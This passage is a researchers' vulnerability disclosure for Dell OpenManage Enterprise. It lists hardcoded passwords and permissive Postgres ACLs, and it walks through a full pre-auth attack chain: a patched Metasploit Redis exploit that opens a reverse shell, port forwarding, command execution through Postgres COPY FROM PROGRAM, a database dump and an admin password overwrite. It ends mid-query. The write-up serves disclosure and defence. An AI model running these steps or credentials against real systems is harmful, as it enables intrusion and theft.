</ol>
<p><em>Miscellaneous notes</em>:</p>
<p>We had forgotten these vulns until we saw some tweets regarding <code>dbutil_2_3.sys</code> and
we reminded we still had unpublished research in Dell products.</p>
<p>This research was done a year ago (in July 2020) against OpenManage 3.4 and we confirmed all the versions - including the latest version (3.6.1) - are affected by the vulnerabilities.</p>
<p>When checking openmanage enterprise 3.5, we also found new vulnerabilities (java stuff, grub, idrac).</p>
<p>When checking openmanage enterprise 3.6.1, it appears some vulnerabilities were silently patched (java stuff and a LPE).</p>
<p>We also removed some potential vulnerabilities because their exploitations were not straightforward due to the presence of SELinux.</p>
<p><a id="hardcoded-activemq-credentials"></a></p>
<h2>Details - Hardcoded ActiveMQ credentials</h2>
<p>It is possible to retrieve hardcoded ActiveMQ credentials by reading the <code>/opt/apache-activemq-5.*/conf/credentials.properties</code> file:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/apache-activemq-5.*/conf/credentials.properties
activemq.username=system
activemq.password=manager
guest.password=password
</code></pre>
<p>A new file (<code>credentials-enc.properties</code>, which was the file <code>credentials.properties</code> in previous version of OpenManage) appeared in the 3.5 version:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/apache-activemq-5.*/conf/credentials-enc.properties
activemq.username=system
activemq.password=ENC(mYRkg+4Q4hua1kvpCCI2hg==)
guest.password=ENC(Cf3Jf3tM+UrSOoaKU50od5CuBa8rxjoL)
</code></pre>
<p>Note: Prior to the 3.5 version, the file <code>credentials.properties</code> contained the identical encrypted credentials, instead of clear-text credentials:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/apache-activemq-5.10.0/conf/credentials.properties
activemq.username=system
activemq.password=ENC(mYRkg+4Q4hua1kvpCCI2hg==)
guest.password=ENC(Cf3Jf3tM+UrSOoaKU50od5CuBa8rxjoL)
</code></pre>
<p>In the latest version, it appears the passwords are now in clear-text.</p>
<p>ActiveMQ listen to all the public interfaces:</p>
<pre><code>[root@openmanage-enterprise /]# ps -auxww|grep -i active
ps -auxww|grep -i active
activem+  1065  0.9  1.2 4042088 208636 ?      Sl   04:37   0:06 /usr/bin/java -Xms256m -Xmx512m -Dorg.apache.activemq.SERIALIZABLE_PACKAGES=java.lang,javax.security,java.util,org.apache.activemq,org.fusesource.hawtbuf,com.thoughtworks.xstream.mapper,com.dell.enterprise.common.integration.lib.taskengine -Dcom.sun.management.jmxremote -Djava.awt.headless=true -Djava.io.tmpdir=/var/lib/activemq/tmp -Dactivemq.classpath=/opt/apache-activemq-5.16.0//conf:/opt/apache-activemq-5.16.0//../lib/: -Dactivemq.home=/opt/apache-activemq-5.16.0/ -Dactivemq.base=/opt/apache-activemq-5.16.0/ -Dactivemq.conf=/opt/apache-activemq-5.16.0//conf -Dactivemq.data=/var/lib/activemq/data -jar /opt/apache-activemq-5.16.0//bin/activemq.jar start

[root@openmanage-enterprise /]# netstat -laputen|grep 1065
netstat -laputen|grep 1065
tcp6       0      0 :::46403                :::*                    LISTEN      1000       27797      1065/java
tcp6       0      0 :::61616                :::*                    LISTEN      1000       29817      1065/java
</code></pre>
<p>Luckily, the firewall blocks all incoming connections to these 2 ports.</p>
<p>Other credentials found:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/apache-activemq-*/conf/jetty-realm.properties
[...]
# Defines users that can access the web (console, demo, etc.)
# username: password [,rolename ...]
admin: admin, admin
user: user, user
</code></pre>
<p>Furthermore, SELinux doesn't allow users to read <code>/opt/apache-activemq-5.*/conf/</code> files - still the passwords are hardcoded.</p>
<p><a id="hardcoded-activemq-credentials-for-jmx"></a></p>
<h2>Details - Hardcoded ActiveMQ credentials for JMX</h2>
<p>Java Management Extensions (JMX) allows remote debugging of java applications.</p>
<p>These files contain the hardcoded passwords in clear-text for JMX access to ActiveMQ.</p>
<p>Even if they have wrong permissions, SELinux doesn't allow regular users to read <code>/opt/apache-activemq-5.*/conf/</code> files.</p>
<p>Still the passwords are hardcoded, as shown below:</p>
<pre><code>[root@openmanage-enterprise /]# ls -la /opt/apache-activemq-5.16.0/conf/jmx*
-rwxr-xr-x. 1 root root 965 Sep 25  2020 /opt/apache-activemq-5.16.0/conf/jmx.access
-rwxr-xr-x. 1 root root 964 Sep 25  2020 /opt/apache-activemq-5.16.0/conf/jmx.password

[root@openmanage-enterprise /]# tail -n 1 /opt/apache-activemq-5.16.0/conf/jmx.access
admin readwrite

[root@openmanage-enterprise /]# tail -n 1 /opt/apache-activemq-5.16.0/conf/jmx.password
admin activemq
</code></pre>
<p>It is interesting to note that the path of ActiveMQ changes, from old version to the recent one,
indicating activemq is updated for every new release of Open Manage Enterprise but the hardcoded credentials are never changed.</p>
<p><a id="hardcoded-activemq-keystore"></a></p>
<h2>Details - Hardcoded ActiveMQ keystore</h2>
<p>We can find several hardcoded keystore files inside <code>/opt/apache-activemq-5.16.0/conf</code>:</p>
<pre><code>[root@openmanage-enterprise conf]# ls -la *ts *ks
-rwxr-xr-x. 1 root root 1370 Sep 25  2020 broker.ks
-rwxr-xr-x. 1 root root  665 Sep 25  2020 broker.ts
-rwxr-xr-x. 1 root root 1357 Sep 25  2020 client.ks
-rwxr-xr-x. 1 root root  665 Sep 25  2020 client.ts
[root@openmanage-enterprise conf]# sha256sum *ts *ks
1c17bb3b5d1335a0821eb5b9c8c1de7331219619416c9d31a6b775e232bf4456  broker.ts
1c17bb3b5d1335a0821eb5b9c8c1de7331219619416c9d31a6b775e232bf4456  client.ts
718d056b1a5518abf2a5ab38d0e81eb6d41c3187d93c7c54817fcb20503b0c8c  broker.ks
ce0d36c002d9912dc5f7344353735277d0af15630199ec91e96eef29a5acd3f4  client.ks
</code></pre>
<p>The permissions are wrong (644) but SELinux doesn't allow regular users to read <code>/opt/apache-activemq-5.*/conf/</code> files.</p>
<p>Still the files are hardcoded.</p>
<p>Also, the password for the keystore file (<code>broker.ks</code>) is defined in the <code>jetty.xml</code> file, with 644 permission:</p>
<pre><code>&lt;property name="keyStorePath" value="${activemq.conf}/broker.ks" /&gt;
&lt;property name="keyStorePassword" value="password" /&gt;
</code></pre>
<p>The hardcoded password for the keystore is <code>password</code>.</p>
<p><a id="hardcoded-jdbc-passwords"></a></p>
<h2>Details - Hardcoded JDBC Passwords</h2>
<p>The passwords is hardcoded (<code>Dell123$</code>) and can't be changed:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties
hibernate.connection.url=jdbc:postgresql://localhost:5432/enterprisedb
hibernate.connection.username=core_admin
hibernate.connection.password=Dell123$
</code></pre>
<p>Wrong permissions but SELinux again blocks any read attempt.</p>
<pre><code>[root@openmanage-enterprise /]# ls -la /opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties
-rwxrwxr-x. 1 root root 151 Sep 25  2020 /opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties
</code></pre>
<p>In previous versions (before 3.5), it was also possible to extract the password from the files
<code>/opt/dell/mcsi/lib/db/scripts/mcsi/sysconfigdao/TSQL/9000_attribute_registry - About.txt</code> and
<code>/opt/dell/mcsi/lib/db/scripts/mcsi/sysconfigdao/TSQL/9040_default_data_sysconfig_templates - About.txt</code>.
These 2 files contained:</p>
<pre><code>[...]
Create a new Data Source using "PostgreSQL Unicode(x64)"

Data Source:    LexingtonLocal
Database:               enterprisedb
Server:                 localhost
User Name:              core_admin
Password:               Dell123$  &lt;---------- password
SSL Mode:               disabled
Port:                   5432
Driver:                 PostgreSQL ODBC Driver(UNICODE)

Alter the "Datasource" within Options of the new data source
Bools as Char:  OFF
Unknown Sizes:  Longest
[...]

There will be a couple errors that are fixed by replacing 'select' with 'perform' at the line numbers given by the errors.

[...]
declare @serverName nvarchar(256) = N'LEXINGTON';
declare @dataSourceName nvarchar(256) = N'LexingtonLocal';
declare @userName nvarchar(256) = N'core_admin';
declare @password nvarchar(256) = N'Dell123$'; &lt;------ password
[...]
</code></pre>
<p>These files don't exist anymore in version 3.5.</p>
<p>Interestingly, <code>Dell123$</code> is the provided password in the documentation files:</p>
<p>From <code>/opt/dell/omc/webapps/omc/console/omcOnlineHelp/en/GUID-0A8DECB1-C2E7-4904-A071-FEC75D6A54C7.html</code>:</p>
<pre><code>Must contain at least one character in: uppercase, lowercase, digit, and special character. For example, Dell123$
</code></pre>
<p>The command <code>grep -ri 'Dell123\$' /opt/</code> as root will list several files containing this password.</p>
<p><a id="hardcoded-passwords-core_admin-replicator"></a></p>
<h2>Details - Hardcoded passwords for core_admin and replicator</h2>
<p>The <code>/opt/dell/mcsi/lib/db/scripts/mcsi/00_core/01CreateDB/01RoleCreation.sql</code> script has wrong permissions and contains hardcoded clear-text passwords for the creation of roles in postgres:</p>
<ul>
<li>replicator, with password <code>Password123$</code>,</li>
<li>core_admin, with password <code>md5292f7d66e18e0128fa11bebb95c467a6</code> as <code>UNENCRYPTED PASSWORD</code> is being used instead of <code>ENCRYPTED PASSWORD</code>.</li>
</ul>
<p>&nbsp;</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/dell/mcsi/lib/db/scripts/mcsi/00_core/01CreateDB/01RoleCreation.sql

-- Role: "core_admin"

-- DROP ROLE core_admin;

--CREATE ROLE core_admin LOGIN
--  ENCRYPTED PASSWORD 'md564f6b341503abb8ca26367630f233b22'
--  NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;

--  CREATE ROLE replicator LOGIN
--  ENCRYPTED PASSWORD 'md5a7c4e11df28c56eac643ace589e81d4e'
--  NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE REPLICATION;

 CREATE ROLE core_admin LOGIN
  UNENCRYPTED PASSWORD 'md5292f7d66e18e0128fa11bebb95c467a6'
  SUPERUSER INHERIT NOCREATEDB NOCREATEROLE;

 CREATE ROLE replicator LOGIN
  UNENCRYPTED PASSWORD 'Password123$'
  NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE REPLICATION;
</code></pre>
<p><a id="keystore-hardcoded-key"></a></p>
<h2>Details - KeyStore using hardcoded Key</h2>
<p>By default, only the passwords for servers/idrac/appliances inside the postgres database are encrypted using a keystore containing a secret key.</p>
<p>This keystore file is located in <code>/opt/dell/mcsi/appliance/config/security/keystore.p12</code>.</p>
<p>At first, it seems insecure because its permissions are wrong (664) but this file is in fact protected by SELinux:</p>
<pre><code>[root@openmanage-enterprise /]# ls -la /opt/dell/mcsi/appliance/config/security/keystore.p12
-rw-rw-r--+ 1 root root 313 May 16 04:06 /opt/dell/mcsi/appliance/config/security/keystore.p12
</code></pre>
<p>SELinux policy:</p>
<pre><code>/opt/dell/mcsi/appliance/config/security/keystore\.p12  --  system_u:object_r:mcsi_appliance_secret_t:s0
</code></pre>
<p>Nonetheless, the password of the keystore is hardcoded:</p>
<p>From <code>/opt/dell/omc/scripts/runonce/update_keystorepassword_runonce.sh</code>:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/dell/omc/scripts/runonce/update_keystorepassword_runonce.sh
[...]
/usr/java/latest/bin/keytool -storepasswd -new "7673D238EBF23E51EC18E9D9B5DAB299" -storepass "changeit" -keystore /opt/dell/mcsi/appliance/config/security/keystore.p12
[...]
/usr/java/latest/bin/keytool -alias "secretKey" -keypasswd -new "7673D238EBF23E51EC18E9D9B5DAB299" -keypass "changeit" -storepass "7673D238EBF23E51EC18E9D9B5DAB299" -keystore /opt/dell/mcsi/appliance/config/security/keystore.p12
</code></pre>
<p>The password <code>7673D238EBF23E51EC18E9D9B5DAB299</code> was found in all versions of OpenManage and it works:</p>
<pre><code>[root@openmanage-enterprise /]# openssl pkcs12 -info -in /opt/dell/mcsi/appliance/config/security/keystore.p12
Enter Import Password: [7673D238EBF23E51EC18E9D9B5DAB299]
MAC Iteration 100000
MAC verified OK
PKCS7 Data
Warning unsupported bag type: secretBag
</code></pre>
<p>We can also find the original password <code>changeit</code> for the keystore inside the <code>/opt/dell/mcsi/appliance/scripts/ca/importCert.exp</code> script:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/dell/mcsi/appliance/scripts/ca/importCert.exp
[...]
spawn /usr/java/latest/bin/keytool -import -alias localhost -file /etc/pki/tls/certs/localhost.crt -keystore /usr/java/latest/lib/security/cacerts
match_max 100000
expect -exact "Enter keystore password:  "
send -- "changeit\r"
expect -exact "Trust this certificate? \[no\]:  "
send -- "yes\r"
sleep 3
</code></pre>
<p><a id="permissive-acl-postgres"></a></p>
<h2>Details - Permissive ACL for Postgres</h2>
<p>From the files <code>/opt/dell/mcsi/lib/db/data/pg_hba.conf.core</code> and <code>/opt/dell/mcsi/lib/db/data/pg_hba.conf.trust</code>,
the entire docker IP range (<code>169.254.255.1/24</code>) has a full access to postgres, without password (<code>trust</code>)</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/dell/mcsi/lib/db/data/pg_hba.conf.trust
# TYPE  DATABASE    USER        CIDR-ADDRESS          METHOD

# "local" is for Unix domain socket connections only
local   all         postgres                           trust
local   replication     rep                                             trust
# IPv4 local connections:
host    all         postgres                    127.0.0.1/32    trust
host        all                 postgres                    169.254.255.1/24    trust
host    replication     rep                     169.254.255.1/24        trust

# IPv4 &amp; IPv6 local connections:
host    all     all     127.0.0.1/32       trust
host        all         all         169.254.255.1/24    trust

host    all     all     ::1/128       trust
#host replication     all     172.18.100.0/16     md5
#hostssl     replication     all     172.18.100.0/16     md5
host    all     postgres     ::1/128          trust
[root@openmanage-enterprise /]# cat /opt/dell/mcsi/lib/db/data/pg_hba.conf.core
# TYPE  DATABASE    USER        CIDR-ADDRESS          METHOD

# "local" is for Unix domain socket connections only
local   postgres        postgres                        trust
host    enterprisedb    core_admin      ::1/128         trust
host    enterprisedb    core_admin      127.0.0.1/32    trust
host    enterprisedb    core_admin      169.254.255.1/24    trust
local   enterprisedb    core_admin                      trust

local   replication     rep                                             trust
host    replication     rep                     169.254.255.1/24        trust
</code></pre>
<p>In fact, no password is being used by the solution to manage the database, as shown below:</p>
<pre><code>[root@openmanage-enterprise /]# cat /var/etc/opt/dell/mcsi/logjdbc.properties
postgresql.connection.url=jdbc:postgresql://localhost:5432/enterprisedb
postgresql.connection.username=core_admin
postgresql.connection.password=
</code></pre>
<p>A compromise of a docker instance will likely provide a full access to the Postgres database (see
"<a href="#remote-auth-bypass-with-2-pre-auth-rces-docker-instances">Remote Auth Bypass with 2 pre-auth RCEs in docker instances</a>" for a demo).</p>
<p>Also, it it possible to see that authentication for Posgtres in the device is mainly based on IP:</p>
<pre><code>[root@openmanage-enterprise /]# cat /opt/dell/omc/scripts/execute_db_script.sh
#!/usr/bin/env bash

dbHost=localhost
dbUser=core_admin
dbName=enterprisedb
dbPort="5432"
psql_arguments=()
[...]
</code></pre>
<p>No authentication is being defined in this shell script.</p>
<p><a id="lpe-postgres"></a></p>
<h2>Details - Local Privilege Escalation (as postgres) inside postgres docker</h2>
<p>By default, some ACLs allow to connect to Postgres without a password.</p>
<p>A local unprivileged user (e.g.: <code>nobody</code>) inside the host or inside any docker instances running in the appliance will get code execution as <code>postgres</code> inside the postgres docker.</p>
<p>He will also get a full control over the database, so a full control over the appliance.</p>
<p>It is possible to reach the postgres database on localhost, thanks to a <code>docker-proxy</code> daemon:</p>
<pre><code>[root@openmanage-enterprise /]# ps -auxww|grep proxy | grep 5432
root      1340  0.3  0.0 448608 13184 ?        Sl   04:37   0:36 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 5432 -container-ip 169.254.255.2 -container-port 5432
</code></pre>
<p>It is also possible to reach the postgres database using the IP of the docker instance:</p>
<pre><code>[nobody@openmanage-enterprise /]$ psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432
psql (11.9, server 11.6)
Type "help" for help.

enterprisedb=# \l
                                    List of databases
     Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
 enterprisedb | core_admin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres     | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
              |            |          |             |             | postgres=CTc/postgres
 template1    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
              |            |          |             |             | postgres=CTc/postgres
(4 rows)

enterprisedb=# \q

[nobody@openmanage-enterprise /]$ psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (11.9, server 11.6)
Type "help" for help.

enterprisedb=# \l
                                    List of databases
     Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
 enterprisedb | core_admin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres     | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
              |            |          |             |             | postgres=CTc/postgres
 template1    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
              |            |          |             |             | postgres=CTc/postgres
(4 rows)

enterprisedb=# \q
</code></pre>
<p>It is then possible to get code execution inside the postgres docker, without authentication:</p>
<pre><code>[nobody@openmanage-enterprise /]$ psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (11.9, server 11.6)
Type "help" for help.

enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
NOTICE:  table "cmd_exec" does not exist, skipping
DROP TABLE
enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
enterprisedb=# SELECT * FROM cmd_exec;
                             cmd_output
--------------------------------------------------------------------
 uid=26(postgres) gid=26(postgres) groups=26(postgres),26(postgres)
(1 row)
</code></pre>
<p><a id="remote-auth-bypass-with-2-pre-auth-rces-docker-instances"></a></p>
<h2>Details - Remote Auth Bypass with 2 pre-auth RCEs in docker instances</h2>
<p>There is a chain of pre-auth vulnerabilities allowing to:</p>
<ul>
<li>get a shell on the redis container, as <code>redis</code></li>
<li>get a shell on the postgres container, as <code>postgres</code></li>
<li>get a full access to the postgres database</li>
<li>bypass authentication on the web interface as admin</li>
</ul>
<p>Due to some requirements in the exploit chain, the attacker needs to  be on the same subnet as the target (same LAN, without  a  gateway  between the target  and  the  attacker).</p>
<p>The attack scenario is:</p>
<ol>
<li>attacker will own the redis running in a container inside the virtual machine
   running Dell OpenManage Enterprise and get a shell inside this container</li>
<li>attacker will use the shell inside the redis container as a relay to get access
   to the remote postgresql server</li>
<li>attacker will get a shell on the postgresql server</li>
<li>attacker will redefine a new password for the web interface and will dump
   the entire postgresql server</li>
<li>attacker will get an access on the web interface as admin</li>
</ol>
<p>The network flow is:</p>
<p>Attacker(192.168.1.102) -&gt; redis(169.254.255.3, routed by 192.168.1.100) -&gt; Posgres(169.254.255.2)</p>
<p>IPs used in this setup:</p>
<ul>
<li>192.168.1.100: target virtual machine running Dell OpenManage Enterprise.</li>
<li>192.168.1.102: attacker machine, running Kali.</li>
</ul>
<p>Internal IPs inside Dell OpenManage Enterprise, by default, already configued by the solution:</p>
<ul>
<li>169.254.255.2 is the internal IP of the postgres container running inside the virtual machine
  running Dell OpenManage Enterprise.</li>
<li>169.254.255.3 is the internal IP of the redis container running inside the virtual machine
  running Dell OpenManage Enterprise.</li>
</ul>
<p>&nbsp;</p>
<pre><code>[root@openmanage-enterprise /]# docker ps
CONTAINER ID        IMAGE                              COMMAND                  CREATED             STATUS              PORTS                                NAMES
ecf97860f111        redis:latest                       "docker-entrypoint.s"   2 hours ago         Up 2 hours          127.0.0.1:6379-&gt;6379/tcp             redis
e1e82315ec5b        mcsi/omeproductionimage:2.6.0.43   "docker-entrypoint.s"   2 hours ago         Up 2 hours          2345/tcp, 127.0.0.1:5432-&gt;5432/tcp   primarydatabase
</code></pre>
<p><strong>Shell and Metasploit session:</strong></p>
<p>It is required to add a route to the internal IP of the redis container
running inside OpenManage Enterprise:</p>
<pre><code>kali# route add -host 169.254.255.3 gw 192.168.1.100
kali# traceroute -nI 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
 1  192.168.1.100  0.775 ms  0.762 ms  1.060 ms
 2  169.254.255.3  1.911 ms  1.922 ms  1.893 ms
</code></pre>
<p>On the 3.6.1 version, pings are now dropped. Using <code>tcptraceroute</code>:</p>
<pre><code>kali# tcptraceroute 169.254.255.3 6379
Running:
    traceroute -T -O info -p 6379 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
 1  192.168.1.100 (192.168.1.100)  0.489 ms  0.440 ms  0.545 ms
 2  169.254.255.3 (169.254.255.3) &lt;syn,ack&gt;  0.852 ms  0.821 ms  0.720 ms
</code></pre>
<p>An attacker can now reach the redis and postgres docker instances because iptables is not correctly configured and
allow the 2 services to be reachable from the WAN. Also, by default, IP forwarding is enabled:</p>
<pre><code>[root@openmanage-enterprise /]# sysctl net.ipv4.conf.all.forwarding
net.ipv4.conf.all.forwarding = 1
</code></pre>
<p>Why not directly reaching Postgres ?
By default, ACLs defined in Postgres configuration only allow connections from the <code>169.254.255.0/24</code> range,
thus it is required to reach the redis interface available on the <code>169.254.255.3</code> IP and then use redis as a relay to reach the postgres instance.</p>
<pre><code>local postgres    postgres            trust
host  enterprisedb  core_admin    ::1/128     trust
host  enterprisedb  core_admin    127.0.0.1/32  trust
host  enterprisedb  core_admin    169.254.255.1/24  trust
local enterprisedb  core_admin            trust

local replication     rep                                             trust
host  replication     rep                     169.254.255.1/24        trust
</code></pre>
<p>When trying to connect directly to the IP of Postgres, we can see it is ACL-blocked (after adding a route to <code>169.254.255.2</code>):</p>
<pre><code>kali# psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432
kali# psql: error: could not connect to server: FATAL:  no pg_hba.conf entry for host "192.168.1.102", user "core_admin", database "enterprisedb", SSL off
</code></pre>
<p>We can test if we can reach directly the redis daemon, running inside the redis docker:</p>
<pre><code>kali# telnet 169.254.255.3 6379
Trying 169.254.255.3...
Connected to 169.254.255.3.
Escape character is '^]'.
TEST
-ERR unknown command `TEST`, with args beginning with:
config set dir /tmp
+OK
^]q
telnet&gt; q
Connection closed.
</code></pre>
<p>We can reach redis, time to get RCE using master/slave replication using metasploit.</p>
<p>On the attacker machine, it is required to update the
<code>/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb</code> file
to use a writable directory for the user <code>redis</code>:</p>
<p>Patch <code>/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb</code> to add:</p>
<pre><code>131a132
&gt;     redis_command('CONFIG', 'SET', 'dir', '/tmp')
</code></pre>
<p>Metasploit session:</p>
<pre><code>kali# msfconsole
msf5 &gt; use exploit/linux/redis/redis_unauth_exec
msf5 exploit(linux/redis/redis_unauth_exec) &gt; set SRVHOST 192.168.1.102
SRVHOST =&gt; 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) &gt; set LHOST 192.168.1.102
LHOST =&gt; 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) &gt; set RHOSTS 169.254.255.3
RHOSTS =&gt; 169.254.255.3
msf5 exploit(linux/redis/redis_unauth_exec) &gt; run

[*] Started reverse TCP handler on 192.168.1.102:4444
[*] 169.254.255.3:6379    - Compile redis module extension file
[+] 169.254.255.3:6379    - Payload generated successfully!
[*] 169.254.255.3:6379    - Listening on 192.168.1.102:6379
[*] 169.254.255.3:6379    - Rogue server close...
[*] 169.254.255.3:6379    - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.102:4444 -&gt; 192.168.1.100:60572) at 2020-07-11 12:59:57 -0400
[!] 169.254.255.3:6379    - This exploit may require manual cleanup of './mkmiq.so' on the target

meterpreter &gt; ls
Listing: /tmp
=============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  46808  fil   2020-07-09 08:59:55 -0400  mkmiq.so

meterpreter &gt; shell
Process 19 created.
Channel 1 created.
id
uid=999(redis) gid=999(redis) groups=999(redis)
exit
meterpreter &gt;
</code></pre>
<p>Note, with a recent metasploit, the exploit has been moved to <code>exploit/linux/redis/redis_replication_cmd_exec</code>.</p>
<p>The diff is now:</p>
<pre><code>diff /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
137a138
&gt;     redis_command('CONFIG', 'SET', 'DIR', '/tmp')
</code></pre>
<p>This works with all openmanage version (up to the latest version - 3.6.1).</p>
<p>After getting a shell as <code>redis</code> inside the redis docker, it is time to add a port forwarding
to the postgresql, in order to bypass ACLs:</p>
<pre><code>meterpreter &gt; portfwd add -l 5432 -p 5432 -r 169.254.255.2
[*] Local TCP relay created: :5432 &lt;-&gt; 169.254.255.2:5432
</code></pre>
<p>On another shell, an attacker will get code execution inside the PGSQL container:</p>
<pre><code>kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (12.1 (Debian 12.1-2), server 11.6)
Type "help" for help.

enterprisedb-# \l
                                    List of databases
     Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
 enterprisedb | core_admin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres     | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
              |            |          |             |             | postgres=CTc/postgres
 template1    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
              |            |          |             |             | postgres=CTc/postgres
(4 rows)

enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
enterprisedb=# SELECT * FROM cmd_exec;
                      cmd_output
-------------------------------------------------------
 uid=26(postgres) gid=26(postgres) groups=26(postgres)
(1 row)

enterprisedb=#
</code></pre>
<p>Dump of database:</p>
<pre><code>kali# pg_dump -d enterprisedb -h 127.0.0.1 -U core_admin &gt; dump.sql
</code></pre>
<p>Time to redefine the administrator password:</p>
<p>Passwords are located in <code>encryptedstring</code> table:</p>
<pre><code>kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# SELECT * FROM encryptedstring;
3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
4 | system
1 | $2a$10$bzBdUKXFdlb0U7Hl.w6XIuQFKQQr0Qgi165KN2TaaOemlaAe.OuU2
2 | admin
</code></pre>
<p>Change admin password into <code>x</code>:</p>
<pre><code>kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# UPDATE encryptedstring SET encrypteddata='$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6' WHERE id=1;
UPDATE 1
enterprisedb=#
</code></pre>
<p>Now, use <code>admin</code> / <code>x</code> on the web interface ( http://192.168.1.100/ ).</p>
<p>After reversing some java code, passwords are blowfish 10 rounds:</p>
<pre><code>kali# python3
Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; import bcrypt
&gt;&gt;&gt; passwd = b'x'
&gt;&gt;&gt; salt = b'$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXX' # or bcrypt.gensalt(rounds=10)
&gt;&gt;&gt; hashed = bcrypt.hashpw(passwd, salt)
&gt;&gt;&gt; print(hashed)
b'$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6'
&gt;&gt;&gt;
</code></pre>
<p>The main takeways in this setup are:</p>
<ul>
<li>Incorrect iptables firewall for Postgres and Redis - only the main IP of the appliance is
  correctly firewalled, docker instances have these 2 ports open</li>
<li>IP forwarding is enabled</li>
<li>Lack of authentication for Redis,</li>
<li>Lack of authentication for Postgres, only based on IP with an errror when defining the netmask:
  <code>169.254.255.1/24</code> is being used instead of <code>169.254.255.1/32</code> or <code>169.254.255.0/24</code></li>
<li>Incorrect ACL for Postgres</li>
<li>SELinux is useless in this case because all actions are legit</li>
<li>Custom 'encryption' everywhere to waste time</li>
</ul>
<p><a id="undocumented-system-account"></a></p>
<h2>Details - Undocumented <code>system</code> account</h2>
<p>There is likely an undocumented system account in all openmanage versions, as shown below:</p>
<p>We can list the users from the postgres database:</p>
<pre><code>enterprisedb=# select * from user_entity;
id   | user_type_id | directory_server_id | user_name | description | pwcredential_id | email | isenabled | locked | enable_smart_card | ca_certificate | user_certificate | default_account | object_guid | object_sid | id_owner
-------+--------------+---------------------+-----------+-------------+-----------------+-------+-----------+--------+-------------------+----------------+------------------+-----------------+-------------+------------+---------
10066 |            1 |                     | admin     | admin       |               1 |       | t         | f      | f                 |
10068 |            1 |                     | system    | system      |               2 |       | t         | f      | f                 |

enterprisedb=# select * from passwordcredential;
id |             dtype              | label  | usernameid | passwordid | domainid |         updatedate
----+--------------------------------+--------+------------+------------+----------+----------------------------
  2 | HashedPasswordCredentialEntity | system |          4 |          3 |          | 2020-07-11 18:08:50.207+00
  1 | HashedPasswordCredentialEntity | admin  |          2 |          1 |          | 2020-07-11 18:14:41.012+00
(2 rows)

kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# SELECT * FROM encryptedstring;
 id |                        encrypteddata
----+--------------------------------------------------------------
